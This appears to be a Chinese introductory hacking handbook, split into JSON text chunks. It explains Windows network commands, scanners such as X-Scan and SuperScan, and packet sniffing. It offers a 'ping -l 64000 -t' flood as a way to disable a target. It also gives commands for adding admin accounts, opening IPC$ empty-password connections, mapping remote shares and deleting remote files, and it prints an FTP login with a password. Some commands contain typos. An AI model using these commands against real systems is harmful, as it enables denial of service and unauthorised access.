    {"text": "6. copy命令 copy命令用来复制文件或者合并文件。 其命令格式为：copy [源盘:] [源路径名] [目标盘符:] [目标路 径名]。 例如将E盘下的123.txt文件复制到F盘下的命令为：copy e:\\123.txt f:\\。 其合并文件的命令格式为：copy [文件 1+文件2+……文件N] [合 并后的文件名]，例如合并E盘下面的1.txt和2.txt文件为一个3.txt的 文件，输入的命令为：copy 1.txt + 2.txt 3.txt。"},
    {"text": "2.1.2 常用DOS下的网络命令 在 Windows 操作系统中带有许多的DOS下的网络命令，其中有许 多是黑客经常使用的，如ping、nbtstat、netstat、tracert、net、 at、telnet和ftp，部分命令需要以管理员权限运行。 1. ping命令 网络上的电脑都有唯一的IP地址，使用Ping命令可以给目标IP地 址发送数据包，目标电脑会返回一个同样大小的数据包，根据返回的 数据包可以确定目标电脑的存在，还能粗略判断所使用的操作系统。 其命令格式为：ping [参数] [主机名（或IP地址 ）][选项]。 ping命令的使用条件 ping命令需要TCP/IP协议的支持，检测的方法是在【命令行】窗 口中输入“ping 127.0.0.1”。"},
    {"text": "pingIP地址 在ping命令后输入IP地址，能检测本机与该IP地址的网络连接情 况。 IP 地址可以是局域网或互联网中的IP地址，例如在局域网内要查 看的IP地址为 192.168.100.96，只需输入“ping 192.168.100.96” 按下【Enter】键即可。 如果能看到“已发送=4，已接收=4，丢失=0”的字样时，说明本 机与该IP地址间的网络连接正常。 如果看到“已发送=4，已接收=0，丢失=4”的字样，说明本机与 该IP地址间的网络连接不正常，有可能是物理连接出现了故障。 ping网站 ping命令后可以直接输入网址，可以得到该网址的IP地址。 例如 输入ping www.baidu.com后，得到如下结果。 大括号中的[61.135.169.105]即为百度（baidu）的IP地址。"},
    {"text": "从TTL值可以初步判断目标主机的操作系统（该值可以修改，如上 图中的 TTL 值即为 54），一般 Windows 操作系统返回的 TTL 值在 100～130 之间，Linux/UNIX 系列的系统返回的TTL值在240～255之 间，如TTL=128，表示目标电脑可能使用了Windows 2000操作系统，如 TTL=250，表示目标电脑可能使用UNIX操作系统。"},
    {"text": "使用“ping–l size [IP地址]”命令指定数据包的大小，其中的 size表示数据包的值。 在默认情况下，ping命令发送的数据包大小为32Bytes，用户使 用-l size参数可以更改其大小，但最大不能超过 65500Bytes。 这是 因为当使用ping命令向对方发送的数据包大于或等于65532Bytes 时， 对方有可能无法正常工作。 为此微软公司限制了ping命令的数据包大 小。"},
    {"text": "比如黑 客可以配合-t 参数（连续对IP地址执行ping命令，直到按下 【Ctrl+C】组合键中断）来实现一个带有攻击性的命令，以下的内容 仅供参考，希望用户不要随意使用。 使用“ping –l 64000 –t 192.168.100.100”就可以攻击IP地 址为192.168.100.100的电脑，若用很多台电脑同时攻击同一台目标电 脑，就会使目标电脑网络阻塞甚至瘫痪。"},
    {"text": "如果-t参数和-n参数一起使用，ping命令会执行放在后而的参 数，例如“ping–t–n 5IP”，虽然使用了-t参数，但并不是一直发 送数据包，而是只发送5次。"},
    {"text": "2. nbtstat 该命令使用TCP/IP上的NetBIOS显示协议统计和当前的 TCP/IP 连 接，使用这个命令可以得到远程主机的 NETBIOS 信息，如用户名、所 属的工作组、网卡的MAC地址等。"},
    {"text": "参数说明： -a在获取远程电脑的名称后，可以使用该参数得到它的NetBIOS信 息。 -A在获取远程电脑的IP地址后，可以使用该参数得到它的NetBIOS 信息。 -n显示本机的NetBIOS信息。 电脑用户可以在获取对方的IP地址或电脑名称时，使用nbtstat命 令来进一步获取信息。"},
    {"text": "3. netstat 这是一个用来查看网络状态的命令，操作简单且功能强大。 netstat用于显示与IP、TCP、UDP以及ICMP相关的统计数据，一般 用于检验本机各端口的网络连接情况。"},
    {"text": "如果电脑接收到的数据包出现数据出错或者删除的故障，TCP/IP 可以容许这些类型的错误，并能够自动重发数据包。 但如果累计的出 错情况数目占到所接收的IP数据包相当大的百分比，或者它的数目正 在迅速增加，此时用户应该使用netstat命令进行检查。"},
    {"text": "如果用户的应 用程序（如浏览器）运行速度比较慢，或者不能显示网页，可以使用 此命令，通过查看显示的信息，找到出错的关键字，进而确定问题所 在。"},
    {"text": "在命令行窗口中输入net/?后可得到net的全部命令。 它的子命令可用 net 子命令/?格式来查询详细的帮助信息。 net 命令有很多的子命令，其中最常用的有如下几个。 net view 该命令的一般格式为：net view \\\\IP地址或net view \\\\电脑名 称，以上命令都可查看该电脑中的共享资源。 输入不带参数的“net view”,显示当前域的电脑列表。 net user 此命令用来查看和账户有关的情况，包括新建账户、删除账户、 查看特定账户、激活账户、账户禁用等，该命令也可以写为net users。 命令格式： net user ［ username］ ［password | *］ ［options］ ［/domain］。"},
    {"text": "例如用户需要建立一个用户名为“test”，密码为“123456”的 账户，那么需要输入的命令为“net user test 123456 /add”。 用“net user”命令进行验证。 删除此用户的命令为“net user test /del”，其他用户也可以 这么删除，之后再用“net user”命令进行验证，会看到此用户已经 删除了。 用户还可以对已经存在的账户密码进行修改，这里修改已存在的 用户“test”的密码，将密码设置为“1”，其命令为“net user test 1”。"},
    {"text": "在 Windows 操作系统中 guest 账户默认未被激活，用户可以使 用“net user guest :/active:yes”命令来激活该账户。 要禁用该账 户可以使用“net user guest :/active: no”命令。 用户可以使用“net user账户名” 命令查看该账户的详细信息， 如查看guest账户可以使用如下命令：net user guset。"},
    {"text": "net localgroup 该命令用来查看、添加和更改所有与用户组有关的信息。 命令格式：net localgroup groupname username /add | /delete 键入不带参数的 net localgroup 显示服务器名称和电脑的本地 组名称。 使用“net localgroup 组”命令可以查看该组的账户，例如要查 看管理员组，可以使用如下命令：net localgroup administrators。 用户可以使用“net localgroup 组 账户/add”命令，把账户加 到组中，使其具有该组的权限。 例如上例中新建的账户“test”，默 认属于“ users”组，可以使用“ net localgroup administrators test /add”命令，把 test账户加入管理员组。 使用“net localgroup 组 账户 /del”命令，可以把账户从组中 删除，如要把test从管理员组里删除可以使用如下命令：net localgroup administars test / del。"},
    {"text": "net time 该命令用于查看远程电脑的当前时间，也可以用来更改时间。 其基本命令格式为：net time ［\\\\computer name | /domain : name］ ［/set］ 其中 computername 是要检查或同步的服务器名， domain :name 指定要与其时间同步的域， set 使本机时钟与指定计算机或域的时钟 同步。 例如用户可以查看一个用户名为“dell-pc”的电脑时间，其命令 为：net time \\\\dell-pc。 也可以使用该用户的IP地址进行查看，命 令为：net time \\\\192.168.0.104，输入这两种命令中的任何一种达 到的效果是相同的。"},
    {"text": "net use 作用：连接电脑、断开电脑与共享资源的连接，或显示电脑的连 接信息。 命令格式：net use ［devicename | *］ ［ \\\\computername\\sharename ［ password | *］ ］ ［ / user:［domainname\\］username］ ［［/delete］ | ［/persistent:{yes | no}］］ 参数介绍： devicename 指定要连接到的资源名称或要断开的设备名称。 \\\\computername\\sharename 指服务器及共享资源的名称。 password 访问共享资源的密码。"},
    {"text": "net use命令可以非常方便的连接远程主机的共享资源，包括操作 系统默认开启的共享（即admin$、IPC$和各磁盘 C$、D$……）。 假设 已经知道了IP地址为192.168.134.128的局域网电脑，其中有一个账户 的名称为“dell”，对应的密码为空，建立IPC$默认共享连接的命令 为：net use \\\\192.168.134.128\\ipc$ “”/user: “dell”。 断开已经建立的IPC$连接的命令如下: net use \\\\192.168.0.104\\ipc$ /del。 黑客经常使用net use命令把远程电脑中的共享映射为本地磁盘， 以便于接下来的操作，例如要对默认共享的d$分区进行映射，将其映 射为本机中的Z盘，可以输入如下命令：“net use z: \\\\192.168.134.128\\d$ ”。 命令成功执行后即可把远程电脑（IP地址为192.168.134.128）的 D盘映射为本地的z盘。 打开【计算机】窗口即可看到映射的分区。 映射分区的操作与本机分区一样，可以在其中创建、复制、粘 贴、移动和删除文件及文件夹。"},
    {"text": "要断开映射，可以输入如下命令：“net use \\\\192.168.134.128\\ipc$ /del ”（也可以在映射的图标上单击鼠标 右键，选择【断开】菜单项关闭该映射）。"},
    {"text": "net share 该命令的作用是创建、删除或显示共享资源。 其命令格式： net share sharename= drive:path ［ /users:number | /unlimited］ ［/remark:text］ ，其中 sharename 是共享资源的网络名称，drive:path 指定共享目录的绝对 路径， /users:number 设置可同时访问共享资源的最大用户数， /unlimited 不限制同时访问共享资源的用户数，/remark:text 添加 关于资源的注释，注释文字用引号引住。 输入不带参数的 net share显示本地电脑上所有共享资源的信 息。 下面将本地的C盘和D盘共享，并设置最大共享人数为 20人，其命 令为：net share c=c: /user:20和net share d=d: /user:20。 这样C盘和D盘就已经共享了，此时有两种方法可以验证是否共享 成功，第一种是使用“net share”命令查看。 第二种方法是打开【计算机】窗口，在C盘（或 D 盘）的图标上 单击鼠标右键，选择弹出的【共享】 【高级共享】快捷菜单项。 打开【本要磁盘（C：）属性】对话框，可以看到C盘已被设置为 共享。"},
    {"text": "6. at 该命令可以让程序在指定的日期或时间内执行，黑客可以使用net time命令获取远程电脑的当前时间，然后使用at命令在稍后执行某个 程序和命令。 命令格式：at \\\\computer time command 在Windows 7操作系统中运行at命令需要先开启定时任务服务 schedule，可使用如下命令：net start schedule。 例如想设置本机在 23：45 分自动关闭，可输入如下命令： at 23:45 shutdown /s。 可以使用不带参数的 at 命令查看已经设置的定时任务，使用at ID /del命令来删除已经设置的某个任务，如果不输入 ID 号则删除全 部的定时任务。"},
    {"text": "7. telnet telnet 命令用于 Internet 的远程登录，用户可以使用 telnet 命令通过网络进入另一台电脑中，使它们互相连通。 通过telnet可以连通发生在同一房间里面的电脑或是在世界各范 围内已上网的电脑。"},
    {"text": "一般来说，被连通的电脑、为网络上所有用户提 供服务的电脑称为服务器，而用户所使用的电脑称为客户机。 一旦连 通后，客户机可以享有服务器所提供的一切服务，例如使用用户名和 密码进行登录，然后进行资源的获取。"},
    {"text": "1单击【开始】按钮 ，选择【控制面板】菜单项。 2 打开【控制面板】窗口，选择【程序】菜单项。 3 打开【程序】窗口，单击【打开或关闭Windows功能】文字链 接。 4 打开【Windows功能】窗口，选中【Telnet服务器】和【Telnet 客户端】复选框。 5 单击 按钮，Windows系统即可完成telnet组件的安 装。 （2）启用 telnet服务。 安装telnet组件后还需要启用telnet服务，具体操作步骤如下。"},
    {"text": "1 按下【Win+R】组合键，打开【运行】对话框，在【打开】下拉 列表文本框中输入“services.msc”。 2 按【Enter】键打开【服务】窗口，找到其中的【Telnet】服务 项。 3 双击【Telnet】服务项，打开【Telnet 的属性（本地计算 机）】窗口，把启动类型更改为【手动】或【自动】，单击 按钮。 4 随后【服务状态】下的 按钮变为可用，单击 按钮即可启动telnet服务。 （3）使用 telnet命令。 使用telnet命令的前提是服务端和客户端都要启用 telnet服务， 命令的格式为：telnet 远程电脑名称或IP地址。 假设要使用 telnet 命令连接IP地址为192.168.0.104的电脑，具 体的操作步骤如下。 1 输入命令：telnet 92.168.0.104。 2 按【Enter】键即可进入该电脑的远程登录界面。 在其中输入 “n”，然后按【Enter】键即可。 3 随后出现登录界面，在此需要输入属于TelnetClients组的账户 名和密码，login:后输入账户名，password:后输入密码，需要注意的 是在输入密码时，虽然没有任何提示，但密码已经输入。 4 输完后按【Enter】键即可进入对方的电脑，用户可以轻松地使 用各种命令操作这台电脑，如下图所示为删除对方E盘下的1.txt文件 和1文件夹。"},
    {"text": "ftp的优点很多，例如管理员可以简单方便地控制下载速度和线 程，一般的论坛和下载网站都习惯于用ftp下载，便于控制盗链。 另 外，ftp的资源相对于BT等p2p资源来说中，更稳定和长久。 FTP是一种服务，可以通过在命令行中输入ftp来启动，启动后命 令提示符中会出现ftp的字符提示。"},
    {"text": "在该环境里，黑客可以使用众多的 子命令（可通过输入“?”来获取命令列表），最常用的命令有open、 dir、cd、mkdir、lcd、put、get、del、rmdir、bye和quit等。"},
    {"text": "1 输入“open wangkingone.fu.cn8u.cn”按【Enter】键。 2 进入账户名输入状态，在【用户<wangkingone.fu.cn8u.cn: <none>>:】后输入已经注册的用户名“wangkingone”。 3 按【Enter】键进入密码输入状态，在【密码：】后输入正确的 密码“05b55ed6”，输入时界面没有任何变化。 4 按【Enter】键出现“230 User logged in , proceed.”字 样，说明已经成功登录。"},
    {"text": "5 输入“dir”命令可以对服务器上的文件和文件夹进行查阅。 6 如果想要进入文件夹，可以使用cd命令，例如要进入 others 文件夹，命令格式为：cd others。"},
    {"text": "8 如果用户想要上传文件，需要先定位上传文件所在的本地磁盘 中的位置，其命令格式为“lcd [文件路径]”，以上传 E盘中的文件 1.txt为例，应该输入的命令为“lcd e:\\”。"},
    {"text": "10 用户也可以从ftp中下载文件，同样要用lcd [文件路径]设置 下载文件的保存位置，再使用 get [文件名]命令进行文件的下载。 例 如要把刚上传的1.txt下载到F盘里，需要先执行“lcd f:\\”命令，再 执行“get 1.txt”命令。 11 如果想要删除刚上传的文件1.txt，可以输入“del 1.txt”命 令。 12 如果想要删除文件夹a，需要先返回上一级目录，可以使用 “cd ..”命令，再使用文件夹删除命令“rmdir a”，最后使用dir命 令验证一下。"},
    {"text": "2.2 黑客常用的工具软件 那些真正的黑客为了提高效率，会自己动手编写有针对性的程 序，这些程序的种类和作用各不相同，下面分类对其进行介绍。 黑客工具按其用途可划分为扫描工具、监听工具、密码破解工 具、木马工具、攻击工具和辅助工具。 1. 网络扫描工具 这类工具的作用是找到攻击目标的IP地址、开放的端口号、服务 器运行的版本、程序中可能存在的漏洞等信息。 按不同的扫描目的， 扫描类软件又可分为地址扫描器、端口扫描器、漏洞扫描器和弱口令 扫描4个类别。 在大多数情况下，黑客使用扫描类软件的频率最高，借助这类软 件能进行全方位的扫描，获得尽可能多的信息，这对于攻击来说至关 重要。 同时扫描工具也是网络管理员的得力助手，网络管理员可以通 过它及时了解自己系统的运行状态和可能存在的漏洞，在黑客“下 手”之前将系统中的隐患清除，保证电脑的安全稳定。 2. 网络监听工具 网络监听也称为嗅探，在协助网络管理员检测网络传输数据及排 除网络故障等方面具有不可替代的作用。 同时网络监听也给互联网安 全带来了极大的隐患，许多网络入侵往往都伴随着网络监听行为，从 而造成口令失窃、敏感数据被截获等连锁性安全事件。 网络中的数据从一处传到另一处，通常会经过大量不同的网络设 备，如果传输过程中，有人获取到了数据，就有可能发生危险，就好 像一封邮件在半路上被人拆开偷看一样。 网络监听可以在网上任何一 个位置实施，如局域网中的一台主机、网关或远程网中的调制解调器 等。 监听效果最好的地方是在网关、路由器、防火墙一类的设备上， 通常由网络管理员来操作。 网络监听工具在功能和实际应用方面有很 多不同，有些只能分析一种协议，有些则能分析几百种协议。 大多数 的网络监听工具都能够分析标准以太网、TCP/IP、IPX 和 DECNet等。 网络监听工具可以监视网络的状态、数据流动情况以及网络上传 输的信息。 通常，网络监听工具都提供如下一些功能： ① 自动从网络中过滤及转换有用的信息。"},
    {"text": "③ 对网络环境中的通信失败进行分析。 ④ 探测网络环境下的通信瓶颈。 ⑤ 检测是否有黑客正在攻击网络系统，以阻止其入侵。 ⑥ 记录网络通信过程。"},
    {"text": "4. 木马工具 远程监控也叫做“木马”，这种程序实际上是在被控电脑上运行 一个客户端软件，在黑客的电脑中运行一个服务端软件，利用木马程 序在被控电脑上开一个端口，对其进行监视、控制，这样黑客就能控 制这台电脑。 一般来说木马能实现远程监控、记录密码、获取资料、远程控制 和发送木马等功能，具有隐藏性、自动运行性、欺骗性、自动恢复 性、能自动打开特别的端口和功能等特殊性。 5. 攻击工具 攻击工具利用网络存在的漏洞和安全缺陷对网络系统的硬件、软 件及其系统中的数据进行的攻击。"},
    {"text": "攻击工具按其攻击位置可分为远程攻击、本地攻击和伪远程攻击3 大类。 ① 远程攻击：指外部攻击者通过各种手段，从该子网以外的地方 向该子网或者该子网内的系统发动攻击。 ② 本地攻击：指本单位的内部人员，通过所在的局域网，向本单 位的其他系统发动攻击，在本级上进行非法越权访问。 ③ 伪远程攻击：指内部人员为了掩盖攻击者的身份，从本地获取 目标的一些必要信息后，攻击过程从外部远程发起，造成外部入侵的 现象。"},
    {"text": "6. 辅助工具 一般黑客手里还会有一些辅助性的工具，例如密码字典、常用弱 口令集合、常见系统漏洞及其开放的端口号、常见木马及其端口和用 于自我保护的工具等。 另外，网络上进行的各种操作都会被网络服务器记录下来，如果 没有经过很好的伪装就进行黑客动作，很容易就会被反跟踪技术追查 到黑客的所在，所以伪装自己的IP地址、身份也是非常重要的。 2.3 常用的网络扫描工具 黑客常用的扫描工具可分为IP地址扫描、端口扫描和综合扫描几 大类，其中使用较多的工具主要有IPBook、SuperScan和X-Scan。 2.3.1IP地址扫描工具——IPBook IPBook是一款绿色软件，功能强大，可以搜索局域网内任意网段 主机的共享资源，可以打开共享资源，具有搜索HTTP、FTP服务及隐藏 共享的功能，因此有着“超级网络邻居”的美称。 1. 搜索IP地址段 使用IPBook可以方便的对指定的IP地址段进行搜索，具体的操作 步骤如下。"},
    {"text": "1 单击 下拉按钮 ，打开扫描设置菜单，选 中其中的【搜索HTTP服务】、【搜索FTP 服务】和【搜索隐藏共享】3 个复选框。 2 单击 按钮，IPBook开始对指定的IP地址段进 行扫描，搜索共享资源的同时，对HTTP服务、FTP服务和隐藏共享进行 搜索。"},
    {"text": "IPBook还可以进行大范围IP地址扫描、电脑常见端口扫描和大范 围端口扫描，同时带有ping命令、nbtstat命令、IP—域名转换功能和 IPC$空连接功能，能查出自己和任意IP地址的计算机名、工作组和MAC 地址信息，能自动存储扫描出的信息，以便下次查看，也能将信息输 出到文本文件中，以便于编辑。"},
    {"text": "1. 运行SuperScan SuperScan是一款绿色软件，只有英文4.0版才能在Windows 7操作 系统中正常运行（大部分的SuperScan 4.0汉化版在运行时会提示DLL 文件丢失）。 下面以在Windows 7操作系统中运行SuperScan为例，具体的操作 步骤如下。 1 在SuperScan程序图标 上单击鼠标右键，选择弹出的【以 管理员身份运行】快捷菜单项。"},
    {"text": "3. 设置SuperScan扫描的端口 在SuperScan中可以更改扫描端口，例如扫描全部端口、特定的端 口和木马常用端口等。 在 SuperScan 中更改扫描端口设置的具体操作步骤如下。 1 切换到【Host and Service Discovery】选项卡，在此可以设 置UDP和TCP端口，列表框中的数字即为需要扫描的端口。"},
    {"text": "4. SuperScan的设置和其他功能 切换到【Scan Options】选项卡，在此可以对SuperScan的参数进 行设置，更改内容包括扫描等待时间、检测通过次数和扫描速度等。"},
    {"text": "切换到【Tools】选项卡，这里集成了大量的工具，在 【Hostname/IP/URL】文本框中输入IP地址“192.168.100.96”。 单击【Hostname/IP Lookup】功能键前的 按钮即可获取该IP 地址的计算机名称。 如果在【Hostname/IP/URL】文本框中输入域名 “www.baidu.com”， 单击【Hostname/IP&nbsp;Lookup】功能键前的 按钮可以获取该网址的IP地址。 切换到【Windows Enumeration】选项卡，在 【Hostname/IP/URL】文本框中输入域名、IP地址或网址，单击 按钮即可执行窗口左侧所有已选中的功能模块。"},
    {"text": "2.3.3 安全漏洞检测工具——X－Scan X-Scan有着良好的图形化界面，其本身是绿色软件，无需安装， 但在Windows 7操作系统中需要先从网上下载npptools.dll文件并把它 放到操作系统所在分区——Windows\\system32文件夹里。 1. 功能介绍 X-Scan 是国内最著名的综合扫描器之一，采用多线程方式对指定 的IP地址段进行安全漏洞检测，支持插件功能，提供了图形界面和命 令行两种操作方式，扫描内容包括：远程操作系统类型及版本，标准 端口状态及端口 BANNER 信息， CGI 漏洞， IIS 漏洞， RPC 漏洞， SQL-SERVER 、FTP-SERVER 、 SMTP- SERVER 、POP3-SERVER和NT-SERVER弱口令用户，以及NT服务器NETBIOS信息等。"},
    {"text": "7 选中【全局设置】选项下面的【扫描模块】选项，在中间窗格 中将会显示该模块的具体内容，单击其中任何一个内容，在右侧窗格 中将会显示该插件的描述。"},
    {"text": "8 选中【全局设置】选项下面的【并发扫描】选项，可以在【最 大并发主机数量】文本框中输入数量，在【最大并发线程数量】文本 框中输入线程数，这些设置受硬件和带宽的影响，建议不要设置得太 大，以免影响扫描结果。"},
    {"text": "9 选中【全局设置】选项下面的【扫描报告】选项，在【报告文 件类型】下拉列表中有【HTML】、【TXT】以及【XML】3 个选项，这 里选择【HTML】选项。 10 选中【全局设置】选项下面的【其他设置】选项，如果选中 【无条件扫描】单选钮，就会强制扫描；"},
    {"text": "11 单击【插件设置】选项前的【+】符号将其展开。 12 选中【插件设置】 【端口相关设置】选项，用户可以在 【待检测端口】文本框中添加端口。 13 选中【插件设置】 【SNMP相关设置】选项，在右侧窗格中 将会显示出需要检测的SNMP选项，建议用户将所有的复选框都选中。 14 选中【插件设置】 【NETBIOS相关设置】选项，在右侧窗 格中将会显示出需要检测的 NETBIOS 信息，用户可以根据自身的需要 进行筛选。 15 选中【插件设置】 【漏洞检测脚本设置】选项，在右侧窗 格中选中【全选】复选框。 16 选中【插件设置】 【CGI相关设置】选项，在此可以设置 CGI网页脚本的相关参数，一般采用默认设置即可。"},
    {"text": "17 选中【插件设置】 【字典文件设置】选项，在右侧窗格中 显示出各种类型的字典，这些字典都是内置的，用户也可以自己导入 字典。 18 选中其中的一个字典，然后单击鼠标右键，在弹出的快捷菜单 中选择【编辑】菜单项。 19 随即弹出【打开】对话框，用户可以通过【查找范围】下拉列 表框来查找想要载入的字典文件。 20 载入相应的字典文件，然后单击 按钮，即可把字 典文件添加到【扫描参数】 【字典文件设置】选项中。"},
    {"text": "6 扫描完毕后将会弹出【X-Scan Report】窗口，此时发现局域网 IP为 192.168.100.96 和192.168.100.95的电脑有重大的安全漏洞。 7 单击【192.168.100.96】链接，将会跳至该主机的分析列表， 如果看到有红色标记的漏洞，说明情况比较严重，可以单击【发现安 全漏洞】链接查看详细的信息。 8 在红色标记的漏洞中，用户可以清楚地看到被扫描的机器存在 【SMB共享连接】漏洞，也就是说该机中存在共享文件和文件夹。"},
    {"text": "2.4 常用的网络辅助分析工具 网络辅助分析工具又称网络嗅探工具，用来分析网络流量，找出 潜在的问题，常用的嗅探工具有很多，下面主要介绍Sniffer Pro和科 来网络分析系统。 2.4.1 网络嗅探器基础知识 嗅探器（Sniffer）是收集数据的一种常用工具，能够捕获网络报 文,收集内容包括用户的账号、密码和商业机密数据等。 嗅探器的主要作用是分析网络的流量，从而找出网络中潜在的问 题。 例如，某个网络在某一段运行得不是很好，数据收发比较慢，此 时就可以使用嗅探器，通过精确分析来做出准确的判断。 系统网络管理员通过嗅探器可以诊断出大量的不可见的、模糊的 问题，涉及两台及以上电脑之间的异常通信和各种的协议，确定多少 的通信量、属于哪个网络协议、占主要通信协议的主机是哪一台、大 多数通信目的地是哪台主机、报文发送占用多少时间、相互主机的报 文传送间隔时间等。 嗅探器为管理员判断网络问题、管理网络区域提 供了非常宝贵的信息。 1. 嗅探器工作原理 为了对嗅探器的工作原理有一个深入的了解，我们先简单介绍一 下网络中数据的传输方式和网卡的接收方式。"},
    {"text": "数据传输方式 在网络中，一台电脑发给另一台电脑的数据，有两种传输方式： 广播和交换。 广播方式常见于使用集结器的网络中，一台电脑发送的数据送到 集线器的一个端口上，集线器会把该数据同时转发给剩余的所有端 口，这样所有接到集线器上的电脑都能接收到数据。 交换方式是目前常用的方式，在使用交换机的网络中，数据大部 分使用交换方式。"},
    {"text": "交换机能记住每个端口的网卡物理地址，送来的数 据只会转发给特点端口，其他电脑收不到数据。 一般交换机中还会存在一个广播模式，如果某个端口送来的数 据，交换机检测后发现目标物理地址没有记录，会像集线器那样向所 有端口广播，发现哪个端口接收了该数据，就把该端口与物理地址的 对应关系保存下来，下次再传送数据就直接发到该端口，不再使用广 播方式。 显然广播模式下两台电脑在传输数据时，其他的端口也被占用 了，使得同一网段同一时间内只能有两台电脑进行数据通信。 交换方 式下两台电脑在传输数据时，其他端口没有被占用，能同时传输数 据。 这也是集线器与交换机的主要不同之处，集线器在同一时间内只 能一台电脑发数据、其他所有电脑都可以接收； 只要不是广播数据， 交换机能在同一时间对多台电脑进行数据传输，并且数据是私有的。"},
    {"text": "网卡接收方式 网卡收到传输来的数据，网卡内的单片程序先接收数据头的目的 MAC 地址，根据计算机上的网卡驱动程序设置的接收模式判断该不该 接收，认为该接收就在接收后产生中断信号通知CPU，认为不该接收就 丢弃不管，所以不该接收的数据网卡就截断了，电脑根本就不知道。 CPU得到中断信号产生中断，操作系统就根据网卡驱动程序中设置 的网卡中断程序地址调用驱动程序接收数据，驱动程序接收数据后送 给操作系统进行处理。 一般网卡有 4 种工作模式，由不同的驱动程序来实现。 （1）广播模式（Broad Cast Model）：工作在广播模式的网卡能 够接收广播帧，广播帧所使用的物理地址为0Xffffff 。 （2）多播传送：如果将网卡设置为多播传送模式，它可以接收所 有的多播传送帧，而多播传送帧只能让组内的电脑同时接收，组外电 脑无法接收。 （3）直接模式：工作在直接模式下的网卡只接收目地址是自己 MAC地址的帧。 （4）混杂模式：工作在混杂模式下的网卡接收所有的数据，而不 管数据是广播帧、多播帧还是直播帧，数据包的捕获就是在这种模式 下进行的。 网卡的默认工作模式包含广播模式和直接模式，即它只接收广播 帧和发给自己的帧。 如果采用混杂模式，一台电脑的网卡将接收同一 网络内所有电脑所发送的数据包，这样就可以实现网络信息监视捕获 的目的。"},
    {"text": "帧由网络驱动程序生成，通过网卡传到网线上，由网线到达目的 电脑，在目的电脑一端执行相反的解包过程。 接收端电脑中的网卡捕 获到数据帧后，通知操作系统接收到数据帧，然后由其进行处理。"},
    {"text": "通常在局域网 （LAN）中，同一网段内的每个网络接口都有唯一 的硬件地址，都有能力访问局域网中传输的所有数据，同时每个网络 中至少还要有一个广播地址。"},
    {"text": "3. 嗅探的实现 当局域网中使用集线器连接时，用户发送的报文会送到局域网中 所有的电脑端口上，也就是说网络上所有的电脑都能“听”到数据， 只是对不属于自己的报文不予响应，忽略而已。 如果此时局域网中某 台电脑的网卡正处于混杂模式，那么它就可以捕获网络上所有的报文 和帧，这样的电脑就是一个嗅探器。 实现嗅探的前提 首先，要想让嗅探器捕获数据必须是让网卡工作在混杂模式下， 此时网卡能接收传送到网卡中的所有数据包。"},
    {"text": "如果用户想要在交换机组成的局域网中接收到别人的数据包，就 需要让交换机把数据发到这个端口上，可以使用欺骗技术，让交换机 认为这个端口才是正确的端口，从而把数据送到错误的端口上。"},
    {"text": "由此可见，嗅探器工作在网络环境中的底层，它会拦截所有的正 在网络上传送的数据，并且通过相应的软件处理，可以实时分析这些 数据的内容，进而分析所处的网络状态和整体布局。"},
    {"text": "嗅探的危害 嗅探器工作在网络基础结构的底层，通常情况下，用户并不直接 和该层打交道，甚至不知道有这一层存在。 所以，应该说嗅探器的危 害是相当大的，通常，使用嗅探器是在网络中进行欺骗的开始。"},
    {"text": "2.4.2 网络流量监测与分析工具——Sniffer Pro Sniffer软件是NAI公司推出的功能强大的协议分析软件，是一款 一流的便携式网管和应用故障诊断分析软件。"},
    {"text": "基于便携式软件的解决方案具备很高的性价比，能在现场 进行快速的网络和应用问题故障诊断，能够让用户获得强大的网管和 应用故障诊断功能。"},
    {"text": "Sniffer Pro有多个网络监控模式，如仪表盘、主机列表、矩阵、 协议分布和全局统计表，下面进行简单的介绍。 仪表盘模式 在该模式下，Sniffer Pro能显示各项网络性能指标，包括利用 率、传输速度和错误率等信息。"},
    {"text": "矩阵模式 图中的各条连线表明了当前正处于活跃状态的点对点的连接，用 户可以先选中某个IP地址，然后单击鼠标右键，选择【显示选择节 点】快捷菜单项。"},
    {"text": "1. 使用Sniffer Pro捕获数据 默认情况下，Sniffer Pro会捕获所接入局域网中流经的所有数据 包，为了快速定位网络问题，有必要对所捕获的数据包进行过滤，在 Sniffer Pro 中提供了捕获数据包前的过滤规则，过滤规则包括2、3 层地址的定义和几百种协议的定义。 下面以捕获局域网中IP地址为192.168.100.86的电脑的数据包为 例，具体的操作步骤如下。"},
    {"text": "1 打开Sniffer Pro程序窗口，选择【捕获】 【定义过滤器】 菜单项。 2 打开【定义过滤器-捕获】对话框，切换到【地址】选项卡，在 【地址类型】下拉列表框中选中【IP】单选钮。 3 在【位置1】文本框中输入要捕获的IP地址 “192.168.100.86”，在【Dir】下拉列表选择框中选中 单 选钮，【位置2】使用默认的输入“任意的”。 4 切换到【高级】选项卡，在此可以定义希望捕获的相关协议的 数据包，例如选中【IP】 【TCP】协议下的【DNS（TCP）】、 【FTP】、【HTTP】和【HTTPS】等协议。"},
    {"text": "5 在【数据包】下拉列表选择框中，可以定义捕获的数据大小， 例如想要捕获的数据大小在64～128Bytes之间，可以在【数据包大 小】组合框中先选中【IN Between】单选钮，然后在出现的文本框中 分别输入“64”和“128”。 6 切换到【缓冲】选项卡，在此可以设置缓冲的大小、缓冲满时 的处理方式以及是否把缓冲保存到文件中，一般来说只需对缓冲大小 进行设置，在【缓冲大小】文本框中选择或直接输入新的缓冲大小， 例如“40MB”。"},
    {"text": "7 切换到【摘要】选项卡，在此可以查看所定义的捕获过滤器的 详细描述信息，确认正确后单击 按钮即可。 8 在开始捕获操作前，先要选择正确的过滤器，选择【捕获】 【选择过滤器】菜单项。 9 打开【选择过滤器】对话框，在左侧窗格中选中想要使用的过 滤器，右侧窗格将显示该过滤器的详细信息，单击 按钮即 可使用该过滤器。 10 选择【捕获】 【开始】菜单项或单击 按钮即可开始 捕获操作。"},
    {"text": "1 当SnifferPro窗口中的 图标和 图标点亮时，说明已 经捕获到数据，用户可以选择【捕获】 【停止】菜单项或【捕 获】 【停止并显示】菜单项停止捕获，两者的差别在于：前者只 会停止捕获数据包，后者在停止捕获后会把捕获到的数据包进行解码 和显示。"},
    {"text": "4 解码界面下，Sniffer Pro程序会对每个数据包进行解码，可以 看到整个数据包的结构以及从链路层到应用层的所有信息。 事实上， Sniffer Pro使用中大部分的时间都要花费在解码界面上，这也要求使 用者有较高的网络理论和实践经验，能够借此判断网络问题的所在。 3. Sniffer Pro的其他功能 Sniffer Pro除了具有数据包的捕获、解码和诊断功能外，还提供 了一系列的工具，包括数据包发生器、ping、trace、route、DNS lookup、finger和who is等工具。"},
